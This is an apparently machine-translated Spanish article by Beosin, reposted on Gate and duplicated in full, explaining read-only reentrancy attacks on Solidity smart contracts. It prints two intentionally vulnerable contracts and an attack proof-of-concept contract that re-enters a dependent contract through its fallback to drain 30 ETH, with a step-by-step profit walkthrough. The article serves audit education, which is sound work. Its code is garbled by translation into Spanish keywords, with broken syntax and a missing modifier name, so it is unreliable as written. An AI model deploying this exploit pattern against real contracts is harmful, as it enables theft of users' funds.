Conocimiento esencial para la auditoría de seguridad: ¿Qué es el "ataque de reentrada de solo lectura" que ha ocurrido con frecuencia recientemente y es difícil de prevenir?
Autor de este artículo: Sivan, experto en investigación de seguridad de Beosin
Recientemente, ha habido muchos ataques de reingreso en el ecosistema de blockchain Estos ataques no son como las vulnerabilidades de reingreso que conocíamos antes, sino ataques de reingreso de solo lectura que ocurren cuando el proyecto tiene un bloqueo de reingreso.
El conocimiento necesario para la auditoría de seguridad de hoy, el equipo de investigación de seguridad de Beosin le explicará qué es un "ataque de reentrada de solo lectura".
¿Qué situaciones conducen al riesgo de vulnerabilidades de reingreso?
En el proceso de programación de contratos inteligentes de Solidity, un contrato inteligente puede llamar al código de otro contrato inteligente. En el diseño comercial de muchos proyectos, es necesario enviar ETH a una dirección determinada, pero si la dirección de recepción de ETH es un contrato inteligente, se llamará a la función alternativa del contrato inteligente. Si un usuario malintencionado escribe un código bien diseñado en la función de respaldo del contrato, puede haber riesgo de vulnerabilidades de reingreso.
El atacante puede reiniciar la llamada al contrato del proyecto en la función de reserva del contrato malicioso. En este momento, el proceso de la primera llamada no ha terminado y algunas variables no se han cambiado. En este caso, la segunda llamada causará el contrato del proyecto para usar variables inusuales realizar cálculos relacionados o permitir que un atacante eluda algunas restricciones de verificación.
En otras palabras, la raíz de la vulnerabilidad de reingreso radica en llamar a una interfaz del contrato de destino después de que se ejecuta la transferencia, y el cambio del libro mayor hace que se omita el cheque después de llamar al contrato de destino, es decir, el diseño no es estrictamente de acuerdo con el modo de verificación-validación-interacción. Por lo tanto, además de las vulnerabilidades de reingreso causadas por las transferencias de Ethereum, algunos diseños inadecuados también pueden generar ataques de reingreso, como el siguiente ejemplo:
1. Llamar a funciones externas controlables conducirá a la posibilidad de reingreso
2. Las funciones relacionadas con la seguridad de ERC721/1155 pueden causar reingreso
En la actualidad, los ataques de reingreso son una vulnerabilidad común. La mayoría de los desarrolladores de proyectos de blockchain también son conscientes de los peligros de los ataques de reingreso. Los bloqueos de reingreso se establecen básicamente en los proyectos, de modo que al llamar a una función con un bloqueo de reingreso, cualquier función que contenga el mismo reingreso lock no se puede volver a llamar. Aunque los bloqueos de reingreso pueden prevenir eficazmente los ataques de reingreso anteriores, hay otro ataque llamado "reingreso de solo lectura" que es difícil de prevenir.
¿Qué es la "reentrada de solo lectura" que es difícil de prevenir?
Anteriormente presentamos los tipos comunes de reentrada, cuyo núcleo es usar el estado anormal para calcular el nuevo estado después de la reentrada, lo que resulta en una actualización de estado anormal. Entonces, si la función que llamamos es una función de solo lectura modificada por vista, no habrá modificación de estado en la función, y después de llamar a la función, no tendrá ningún impacto en este contrato. Por lo tanto, los desarrolladores de dichos proyectos de funciones no prestarán demasiada atención al riesgo de reingreso y no le agregarán bloqueos de reingreso.
Aunque la función modificada por la vista de reingreso básicamente no afectará a este contrato, existe otra situación en la que un contrato llamará a la función de visualización de otros contratos como una dependencia de datos, y la función de visualización de este contrato no agrega un reingreso. bloqueo Entonces puede conducir al riesgo de reentrada de solo lectura.
Por ejemplo, un contrato de proyecto A puede prometer tokens y retirar tokens, y proporcionar la función de consulta de precios de acuerdo con la cantidad total de tokens y certificados de contrato prometidos.Hay un bloqueo de reingreso entre tokens prometidos y tokens retirados, y la consulta La función no existe. Existe un bloqueo de reentrada. Hay otro proyecto B que proporciona la función de retiro de compromiso. Hay un bloqueo de reingreso entre el compromiso y el retiro. La función de retiro de compromiso se basa en la función de consulta de precio del proyecto A para calcular el token del cupón.
Existe el riesgo de reingreso de solo lectura entre los dos proyectos anteriores, como se muestra en la siguiente figura:
El atacante apuesta y retira tokens en ContractA.
Retirar tokens llamará a la función de reserva del contrato del atacante.
El atacante vuelve a llamar a la función de compromiso en ContractB en el contrato.
La función de compromiso llamará a la función de cálculo de precio del Contrato A. En este momento, el estado del contrato del Contrato A no se ha actualizado, lo que genera un error en el precio calculado, y se calculan y envían más tokens al atacante.
Una vez completada la reentrada, se actualiza el estado de ContractA.
Finalmente, el atacante llama a ContractB para retirar tokens.
En este momento, los datos obtenidos por ContractB se han actualizado y se pueden retirar más tokens.
Análisis del principio del código
Tomamos la siguiente demostración como ejemplo para explicar el problema de la reentrada de solo lectura. El siguiente es solo un código de prueba sin lógica comercial real. Solo se usa como referencia para estudiar la reentrada de solo lectura.
Escriba el contrato ContractA:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Bloqueo de reingreso. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Calcula el compromiso basado en la cantidad total de tokens y el monto comprometido del certificado de contrato Valor, 10e8 para procesamiento de precisión. **/ function get_price() public view virtual return (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Compromiso del usuario, aumentar el monto del compromiso y proporcionar la moneda del cupón. **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * El usuario retira, reduce el monto comprometido y destruye el monto total del token. **/ función retirar(uint256 cantidad quemada) public noreentrancy(){ uint256 enviarcantidad=cantidadquemada*10e8/get_price(); _allstake-=enviarcantidad; pagadero(mensaje.remitente).call{valor:enviarcantidad}( ""); _saldos[mensaje.remitente]-=cantidad quemada; _totalSupply-=cantidad quemada;
Implemente el contrato ContractA y comprometa 50ETH, y el proyecto de simulación ya se está ejecutando.
Escriba el contrato ContractB (dependiendo de la función get_price del contrato ContractA):
pragma solidity ^0.8.21;interface ContractA { function get_price() vista externa devuelve (uint256);}contrat ContractB { ContractA contract_a; mapeo (dirección => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Pledge tokens , calcule el valor de los tokens comprometidos de acuerdo con get_price() del contrato ContractA, y calcule la cantidad de tokens de vales**/ función depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contrato _a.get_price()/10e8;_balances[msg.sender]+=mintamount; } /** * Retirar tokens y calcular cupones de acuerdo con el contrato Get_price() del contrato A Calcular el valor de los retiros tokens**/ función retirar fondos(uint256 cantidad quemada) pago público noreentrada(){ _saldos[mensaje.remitente]-=cantidad quemada; uint256 cantidad=cantidad quemada*10e8/contrato_a. obtener_precio(); mensaje.remitente .call{value:amount}(""); } function balanceof(dirección cuenta) public view return (uint256){ return _balances [acount] ;
Implemente el contrato de ContractB para establecer la dirección de ContractA y comprometa 30ETH, y el proyecto de simulación ya se está ejecutando.
Escriba un contrato POC de ataque:
pragma solidity ^0.8.21;interfaz ContractA { función deposit() externo a pagar; función retirar(uint256 monto) externo;}interface ContractB { función depositFunds() externo a pagar; action balanceof(address acount) external view return (uint256);} contrato POC { ContratoA contrato_a; ContratoB contrato_b; dirección a pagar _propietario; uint flag=0; uint256 monto del depósito=30 ether; ); } function setaddr(dirección _contracta, dirección _contratob) public { contrato_a=ContratoA (_contracta); contract_b=ContractB(_contractb); } /** * El ataque comienza llamando a la función Agregar liquidez, eliminar liquidez y finalmente retirar tokens. **/ function start(uint256 cantidad)public { contrato_a.depósito{valor:cantidad}(); contrato_a.retirar(cantidad); contrato_b.retirarFondos(contrato_b.saldo(dirección(esta ))); } /** * Función de replanteo llamada en reentrada. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Después de que termine el ataque, retire ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * función de devolución de llamada, clave de reentrada. **/ fallback() pagadero externo { if(msg.sender==address(contrato_a)){ depósito(); }
Cambie a otra cuenta EOA para implementar el contrato de ataque y transferir 50ETH, y configure las direcciones ContractA y ContractB.
Pase 50000000000000000000 (50*10^18) a la función de inicio y ejecútela, y encuentre que 30ETH de ContractB ha sido transferido por el contrato POC.
Vuelva a llamar a la función getEther y la dirección del atacante gana 30ETH.
Análisis del proceso de llamada de código:
La función de inicio primero llama a la función de depósito del contrato ContractA para hipotecar ETH. El atacante pasa 50*10^18, más los 50*10^18 propiedad del contrato inicial. En este momento, _allstake y _totalSupply ambos son 100*10 ^18.
Luego, llame a la función de retiro de contrato de ContractA para retirar tokens. El contrato primero actualizará _allstake y enviará 50 ETH al contrato de ataque. En este momento, llamará a la función de reserva del contrato de ataque y finalmente actualizará _totalSupply .
En la función alternativa, el contrato de ataque llama al contrato ContractB para prometer 30 ETH. Dado que get_price es una función de vista, el contrato ContractB vuelve a ingresar con éxito a la función get_price de ContractA. En este momento, porque _totalSupply no se ha actualizado, sigue siendo 100*10^18, pero _allstake se ha reducido a 50*10^18, por lo que el valor devuelto aquí se duplicará. Agregará 60*10^18 monedas simbólicas al contrato de ataque.
Una vez que finaliza el reingreso, el contrato de ataque llama al contrato ContractB para extraer ETH. En este momento, _totalSupply se ha actualizado a 50*10^18, y se calculará la misma cantidad de ETH que la moneda del certificado. Transferido 60ETH al contrato de ataque. Al final, el atacante obtuvo una ganancia de 30 ETH.
Consejos de seguridad de Beosin
Para los problemas de seguridad anteriores, el equipo de seguridad de Beosin sugiere: Para los proyectos que necesitan depender de otros proyectos como soporte de datos, se debe verificar estrictamente la seguridad de la lógica comercial de la combinación del proyecto dependiente y su propio proyecto. En el caso de que no haya problemas en los dos proyectos solos, pueden surgir serios problemas de seguridad tras combinarlos.
Ver originales
Esta página puede contener contenido de terceros, que se proporciona únicamente con fines informativos (sin garantías ni declaraciones) y no debe considerarse como un respaldo por parte de Gate a las opiniones expresadas ni como asesoramiento financiero o profesional. Consulte el Descargo de responsabilidad para obtener más detalles.
Conocimiento esencial para la auditoría de seguridad: ¿Qué es el "ataque de reentrada de solo lectura" que ha ocurrido con frecuencia recientemente y es difícil de prevenir?
Autor de este artículo: Sivan, experto en investigación de seguridad de Beosin
Recientemente, ha habido muchos ataques de reingreso en el ecosistema de blockchain Estos ataques no son como las vulnerabilidades de reingreso que conocíamos antes, sino ataques de reingreso de solo lectura que ocurren cuando el proyecto tiene un bloqueo de reingreso.
El conocimiento necesario para la auditoría de seguridad de hoy, el equipo de investigación de seguridad de Beosin le explicará qué es un "ataque de reentrada de solo lectura".
¿Qué situaciones conducen al riesgo de vulnerabilidades de reingreso?
En el proceso de programación de contratos inteligentes de Solidity, un contrato inteligente puede llamar al código de otro contrato inteligente. En el diseño comercial de muchos proyectos, es necesario enviar ETH a una dirección determinada, pero si la dirección de recepción de ETH es un contrato inteligente, se llamará a la función alternativa del contrato inteligente. Si un usuario malintencionado escribe un código bien diseñado en la función de respaldo del contrato, puede haber riesgo de vulnerabilidades de reingreso.
El atacante puede reiniciar la llamada al contrato del proyecto en la función de reserva del contrato malicioso. En este momento, el proceso de la primera llamada no ha terminado y algunas variables no se han cambiado. En este caso, la segunda llamada causará el contrato del proyecto para usar variables inusuales realizar cálculos relacionados o permitir que un atacante eluda algunas restricciones de verificación.
En otras palabras, la raíz de la vulnerabilidad de reingreso radica en llamar a una interfaz del contrato de destino después de que se ejecuta la transferencia, y el cambio del libro mayor hace que se omita el cheque después de llamar al contrato de destino, es decir, el diseño no es estrictamente de acuerdo con el modo de verificación-validación-interacción. Por lo tanto, además de las vulnerabilidades de reingreso causadas por las transferencias de Ethereum, algunos diseños inadecuados también pueden generar ataques de reingreso, como el siguiente ejemplo:
1. Llamar a funciones externas controlables conducirá a la posibilidad de reingreso
2. Las funciones relacionadas con la seguridad de ERC721/1155 pueden causar reingreso
En la actualidad, los ataques de reingreso son una vulnerabilidad común. La mayoría de los desarrolladores de proyectos de blockchain también son conscientes de los peligros de los ataques de reingreso. Los bloqueos de reingreso se establecen básicamente en los proyectos, de modo que al llamar a una función con un bloqueo de reingreso, cualquier función que contenga el mismo reingreso lock no se puede volver a llamar. Aunque los bloqueos de reingreso pueden prevenir eficazmente los ataques de reingreso anteriores, hay otro ataque llamado "reingreso de solo lectura" que es difícil de prevenir.
¿Qué es la "reentrada de solo lectura" que es difícil de prevenir?
Anteriormente presentamos los tipos comunes de reentrada, cuyo núcleo es usar el estado anormal para calcular el nuevo estado después de la reentrada, lo que resulta en una actualización de estado anormal. Entonces, si la función que llamamos es una función de solo lectura modificada por vista, no habrá modificación de estado en la función, y después de llamar a la función, no tendrá ningún impacto en este contrato. Por lo tanto, los desarrolladores de dichos proyectos de funciones no prestarán demasiada atención al riesgo de reingreso y no le agregarán bloqueos de reingreso.
Aunque la función modificada por la vista de reingreso básicamente no afectará a este contrato, existe otra situación en la que un contrato llamará a la función de visualización de otros contratos como una dependencia de datos, y la función de visualización de este contrato no agrega un reingreso. bloqueo Entonces puede conducir al riesgo de reentrada de solo lectura.
Por ejemplo, un contrato de proyecto A puede prometer tokens y retirar tokens, y proporcionar la función de consulta de precios de acuerdo con la cantidad total de tokens y certificados de contrato prometidos.Hay un bloqueo de reingreso entre tokens prometidos y tokens retirados, y la consulta La función no existe. Existe un bloqueo de reentrada. Hay otro proyecto B que proporciona la función de retiro de compromiso. Hay un bloqueo de reingreso entre el compromiso y el retiro. La función de retiro de compromiso se basa en la función de consulta de precio del proyecto A para calcular el token del cupón.
Existe el riesgo de reingreso de solo lectura entre los dos proyectos anteriores, como se muestra en la siguiente figura:
El atacante apuesta y retira tokens en ContractA.
Retirar tokens llamará a la función de reserva del contrato del atacante.
El atacante vuelve a llamar a la función de compromiso en ContractB en el contrato.
La función de compromiso llamará a la función de cálculo de precio del Contrato A. En este momento, el estado del contrato del Contrato A no se ha actualizado, lo que genera un error en el precio calculado, y se calculan y envían más tokens al atacante.
Una vez completada la reentrada, se actualiza el estado de ContractA.
Finalmente, el atacante llama a ContractB para retirar tokens.
En este momento, los datos obtenidos por ContractB se han actualizado y se pueden retirar más tokens.
Análisis del principio del código
Tomamos la siguiente demostración como ejemplo para explicar el problema de la reentrada de solo lectura. El siguiente es solo un código de prueba sin lógica comercial real. Solo se usa como referencia para estudiar la reentrada de solo lectura.
Escriba el contrato ContractA:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Bloqueo de reingreso. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Calcula el compromiso basado en la cantidad total de tokens y el monto comprometido del certificado de contrato Valor, 10e8 para procesamiento de precisión. **/ function get_price() public view virtual return (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Compromiso del usuario, aumentar el monto del compromiso y proporcionar la moneda del cupón. **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * El usuario retira, reduce el monto comprometido y destruye el monto total del token. **/ función retirar(uint256 cantidad quemada) public noreentrancy(){ uint256 enviarcantidad=cantidadquemada*10e8/get_price(); _allstake-=enviarcantidad; pagadero(mensaje.remitente).call{valor:enviarcantidad}( ""); _saldos[mensaje.remitente]-=cantidad quemada; _totalSupply-=cantidad quemada;
Implemente el contrato ContractA y comprometa 50ETH, y el proyecto de simulación ya se está ejecutando.
Escriba el contrato ContractB (dependiendo de la función get_price del contrato ContractA):
pragma solidity ^0.8.21;interface ContractA { function get_price() vista externa devuelve (uint256);}contrat ContractB { ContractA contract_a; mapeo (dirección => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Pledge tokens , calcule el valor de los tokens comprometidos de acuerdo con get_price() del contrato ContractA, y calcule la cantidad de tokens de vales**/ función depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contrato _a.get_price()/10e8;_balances[msg.sender]+=mintamount; } /** * Retirar tokens y calcular cupones de acuerdo con el contrato Get_price() del contrato A Calcular el valor de los retiros tokens**/ función retirar fondos(uint256 cantidad quemada) pago público noreentrada(){ _saldos[mensaje.remitente]-=cantidad quemada; uint256 cantidad=cantidad quemada*10e8/contrato_a. obtener_precio(); mensaje.remitente .call{value:amount}(""); } function balanceof(dirección cuenta) public view return (uint256){ return _balances [acount] ;
Implemente el contrato de ContractB para establecer la dirección de ContractA y comprometa 30ETH, y el proyecto de simulación ya se está ejecutando.
Escriba un contrato POC de ataque:
pragma solidity ^0.8.21;interfaz ContractA { función deposit() externo a pagar; función retirar(uint256 monto) externo;}interface ContractB { función depositFunds() externo a pagar; action balanceof(address acount) external view return (uint256);} contrato POC { ContratoA contrato_a; ContratoB contrato_b; dirección a pagar _propietario; uint flag=0; uint256 monto del depósito=30 ether; ); } function setaddr(dirección _contracta, dirección _contratob) public { contrato_a=ContratoA (_contracta); contract_b=ContractB(_contractb); } /** * El ataque comienza llamando a la función Agregar liquidez, eliminar liquidez y finalmente retirar tokens. **/ function start(uint256 cantidad)public { contrato_a.depósito{valor:cantidad}(); contrato_a.retirar(cantidad); contrato_b.retirarFondos(contrato_b.saldo(dirección(esta ))); } /** * Función de replanteo llamada en reentrada. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Después de que termine el ataque, retire ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * función de devolución de llamada, clave de reentrada. **/ fallback() pagadero externo { if(msg.sender==address(contrato_a)){ depósito(); }
Cambie a otra cuenta EOA para implementar el contrato de ataque y transferir 50ETH, y configure las direcciones ContractA y ContractB.
Pase 50000000000000000000 (50*10^18) a la función de inicio y ejecútela, y encuentre que 30ETH de ContractB ha sido transferido por el contrato POC.
Vuelva a llamar a la función getEther y la dirección del atacante gana 30ETH.
Análisis del proceso de llamada de código:
La función de inicio primero llama a la función de depósito del contrato ContractA para hipotecar ETH. El atacante pasa 50*10^18, más los 50*10^18 propiedad del contrato inicial. En este momento, _allstake y _totalSupply ambos son 100*10 ^18.
Luego, llame a la función de retiro de contrato de ContractA para retirar tokens. El contrato primero actualizará _allstake y enviará 50 ETH al contrato de ataque. En este momento, llamará a la función de reserva del contrato de ataque y finalmente actualizará _totalSupply .
En la función alternativa, el contrato de ataque llama al contrato ContractB para prometer 30 ETH. Dado que get_price es una función de vista, el contrato ContractB vuelve a ingresar con éxito a la función get_price de ContractA. En este momento, porque _totalSupply no se ha actualizado, sigue siendo 100*10^18, pero _allstake se ha reducido a 50*10^18, por lo que el valor devuelto aquí se duplicará. Agregará 60*10^18 monedas simbólicas al contrato de ataque.
Una vez que finaliza el reingreso, el contrato de ataque llama al contrato ContractB para extraer ETH. En este momento, _totalSupply se ha actualizado a 50*10^18, y se calculará la misma cantidad de ETH que la moneda del certificado. Transferido 60ETH al contrato de ataque. Al final, el atacante obtuvo una ganancia de 30 ETH.
Consejos de seguridad de Beosin
Para los problemas de seguridad anteriores, el equipo de seguridad de Beosin sugiere: Para los proyectos que necesitan depender de otros proyectos como soporte de datos, se debe verificar estrictamente la seguridad de la lógica comercial de la combinación del proyecto dependiente y su propio proyecto. En el caso de que no haya problemas en los dos proyectos solos, pueden surgir serios problemas de seguridad tras combinarlos.